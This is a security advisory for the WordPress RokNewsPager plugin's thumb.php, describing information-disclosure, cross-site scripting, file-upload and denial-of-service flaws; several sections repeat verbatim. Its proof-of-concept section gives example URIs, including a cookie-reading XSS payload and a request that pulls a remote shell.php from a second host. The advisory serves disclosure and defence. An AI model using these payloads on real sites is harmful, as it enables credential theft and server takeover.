WordPress RokNewsPager Plugin 'thumb.php' Multiple Security Vulnerabilities
BID:62458
Info
WordPress RokNewsPager Plugin 'thumb.php' Multiple Security Vulnerabilities
| Bugtraq ID: | 62458 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 18 2013 12:00AM |
| Updated: | Sep 18 2013 12:00AM |
| Credit: | Must Live |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
WordPress RokNewsPager Plugin 'thumb.php' Multiple Security Vulnerabilities
The RokNewsPager plugin for WordPress is prone to multiple security vulnerabilities, including:
1. An information-disclosure vulnerability
2. A cross-site scripting vulnerability
3. An arbitrary file-upload vulnerability
4. A denial-of-service vulnerability
Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
The RokNewsPager plugin for WordPress is prone to multiple security vulnerabilities, including:
1. An information-disclosure vulnerability
2. A cross-site scripting vulnerability
3. An arbitrary file-upload vulnerability
4. A denial-of-service vulnerability
Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Exploit / POC
WordPress RokNewsPager Plugin 'thumb.php' Multiple Security Vulnerabilities
An attacker can exploit these issues using a web browser. To exploit the cross-site scripting issue, an attacker must entice an unsuspecting user to follow a malicious URI
The following example URIs are available:
http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://
http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://www.example.com/big_file&h=1&w=1
http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://www.example2.com/shell.php
An attacker can exploit these issues using a web browser. To exploit the cross-site scripting issue, an attacker must entice an unsuspecting user to follow a malicious URI
The following example URIs are available:
http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://
http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://www.example.com/big_file&h=1&w=1
http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://www.example2.com/shell.php
Solution / Fix
WordPress RokNewsPager Plugin 'thumb.php' Multiple Security Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
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WordPress RokNewsPager Plugin 'thumb.php' Multiple Security Vulnerabilities
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